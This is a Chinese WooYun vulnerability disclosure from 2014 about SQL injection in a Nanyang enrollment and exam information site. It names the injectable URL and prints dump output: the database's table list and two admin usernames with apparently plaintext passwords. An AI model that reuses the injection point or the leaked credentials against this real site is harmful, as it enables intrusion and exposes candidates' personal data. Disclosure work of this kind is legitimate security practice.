漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-073416
漏洞标题：南阳市某招生考试信息网存在SQL注入漏洞
相关厂商：CCERT教育网应急响应组
漏洞作者： 宁静致远
提交时间：2014-08-22 10:05
修复时间：2014-10-06 10:06
公开时间：2014-10-06 10:06
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-08-22： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经确认，细节仅向厂商公开
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-06： 细节向公众公开
简要描述：
南阳市某招生考试信息网存在SQL注入漏洞
详细说明：
南阳市某招生考试信息网存在SQL注入漏洞，漏洞地址”http://www.nyzsb.com.cn/show_news.php?id=439“
漏洞证明：
爆出数据库：
nyzsb_new
爆出数据表：
Database: nyzsb_new
[43 tables]
+-----------------------------+
| f209006_dksfs17_2013 |
| f209006_dksfs17_2014 |
| f209006_ptsfs17_2012 |
| f209006_ptsfs17_2014 |
| f209006_xyspks_djcj17_2008 |
| f209006_xyspks_djcj17_2009 |
| f209006_yjssbk_2012 |
| f209006_yjssbk_2013 |
| f209006_yjssbk_2014 |
| f209006_zk_kh_zkz |
| f209006_zkfgdm |
| f209006_zkwj_121 |
| f209006_zsbfs17_2013 |
| f209006_zsbfs17_2014 |
| f209006_zzfs17_2011 |
| f209006_zzfs17_2014 |
| f209006_zztycj_2012 |
| f209006_zztycj_2013 |
| fsk1710 |
| gzlq_user |
| qst_detail |
| qst_user |
| wgclxx_13141 |
| www_admin_main_frame |
| www_admin_main_frame_extend |
| www_admin_user |
| www_announce_links |
| www_attrib_user |
| www_counter |
| www_datacenter_fldname |
| www_datacenter_key |
| www_info_gxzsb |
| www_news |
| www_news_pl |
| www_qst_detail |
| www_qst_user |
| www_school |
| www_soft |
| zkbk102 |
| zzlq_dsdm |
| zzlq_sxdm_fgb |
| zzlq_user |
| zzlq_ylq_2010_17 |
+-----------------------------+
爆出www_admin_user表数据：
select username,password,is_admin from www_admin_user where is_admin=1 [2]:
[*] admin, 13838709137, 1
[*] ???, NYZSBAKUMA, 1
修复方案：
过滤
版权声明：转载请注明来源 宁静致远@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2014-08-26 15:32
厂商回复：
通知处理中
最新状态：
暂无